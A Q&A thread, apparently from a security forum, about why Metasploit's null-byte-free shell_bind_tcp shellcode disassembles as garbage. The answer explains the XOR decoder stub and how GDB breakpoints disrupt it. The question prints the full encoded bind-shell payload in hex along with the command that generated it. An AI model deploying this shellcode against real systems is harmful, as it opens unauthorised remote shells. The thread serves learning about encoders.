Metasploit generating strange shellcode

Question

So I just used metasploit to generate the payload/linux/x86/shell_bind_tcp payload without null bytes (generate -t raw -b '\x00' -f shellcode). Here's the shellcode:

$ xxd -p shellcode
dbddd97424f45e33c9bf0e0f5844b114317e1983c604037e15ecfa699f07
e7d95cb482dfebdbe386269b5f19ebf35da51a5f08b54d0f455407c90d5a
589cef60ea9a5f0ec122dc7fbfef63ec19855c4b57d9ea129fb1c3cb2c29
743bb1c0eacad642a045f9d24d9b7a

And here's what objdump thinks the shellcode is:

$ objdump -D -b binary -m i386 shellcode

shellcode:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:   db dd                   fcmovnu st,st(5)
   2:   d9 74 24 f4             fnstenv [esp-0xc]
   6:   5e                      pop    esi
   7:   33 c9                   xor    ecx,ecx
   9:   bf 0e 0f 58 44          mov    edi,0x44580f0e
   e:   b1 14                   mov    cl,0x14
  10:   31 7e 19                xor    DWORD PTR [esi+0x19],edi
  13:   83 c6 04                add    esi,0x4
  16:   03 7e 15                add    edi,DWORD PTR [esi+0x15]
  19:   ec                      in     al,dx
  1a:   fa                      cli    
  1b:   69 9f 07 e7 d9 5c b4    imul   ebx,DWORD PTR [edi+0x5cd9e707],0xebdf82b4
  22:   82 df eb 
  25:   db e3                   fninit 
  27:   86 26                   xchg   BYTE PTR [esi],ah
  29:   9b                      fwait
  2a:   5f                      pop    edi
  2b:   19 eb                   sbb    ebx,ebp
  2d:   f3 5d                   repz pop ebp
  2f:   a5                      movs   DWORD PTR es:[edi],DWORD PTR ds:[esi]
  30:   1a 5f 08                sbb    bl,BYTE PTR [edi+0x8]
  33:   b5 4d                   mov    ch,0x4d
  35:   0f 45 54 07 c9          cmovne edx,DWORD PTR [edi+eax*1-0x37]
  3a:   0d 5a 58 9c ef          or     eax,0xef9c585a
  3f:   60                      pusha  
  40:   ea 9a 5f 0e c1 22 dc    jmp    0xdc22:0xc10e5f9a
  47:   7f bf                   jg     0x8
  49:   ef                      out    dx,eax
  4a:   63 ec                   arpl   sp,bp
  4c:   19 85 5c 4b 57 d9       sbb    DWORD PTR [ebp-0x26a8b4a4],eax
  52:   ea 12 9f b1 c3 cb 2c    jmp    0x2ccb:0xc3b19f12
  59:   29 74 3b b1             sub    DWORD PTR [ebx+edi*1-0x4f],esi
  5d:   c0 ea ca                shr    dl,0xca
  60:   d6                      (bad)  
  61:   42                      inc    edx
  62:   a0 45 f9 d2 4d          mov    al,ds:0x4dd2f945
  67:   9b                      fwait
  68:   7a                      .byte 0x7a

This link also gives a similar disassembly: http://www.onlinedisassembler.com/odaweb/x1SSxJ/0

I might be wrong, but this shellcode seems strange. First of all, it doesn't work, but that's not enough to show that it's wrong. The second issue is that objdump says (bad) near the bottom, which probably means the assembly is wrong. The final thing is that I have no clue what it's doing after reading the assembly. Generating the shellcode for this same payload with null bytes gives correct, readable assembly. I don't think removing null bytes can add this much complexity to the shellcode.

Did I do something wrong? If not, can someone explain how the shellcode works?

Answer 1

Alright, I've gotten some answers from asking in the IRC channel.

When you use -b, the shellcode is encoded to avoid the bytes specified. The decoder is attached to the beginning, and that code is actually readable and makes sense. This specific decoder apparently does something with XORing bytes in the shellcode, which explains why the shellcode looks like garbage when disassembled (they're not actually instructions). Also, stepping through the shellcode with GDB often will not work because GDB will replace the next instruction with 0xCC, or a breakpoint. This means the decoder will XOR the wrong bytes, causing the program to crash.

The shellcode is actually correct and I've gotten it to work for my exploit.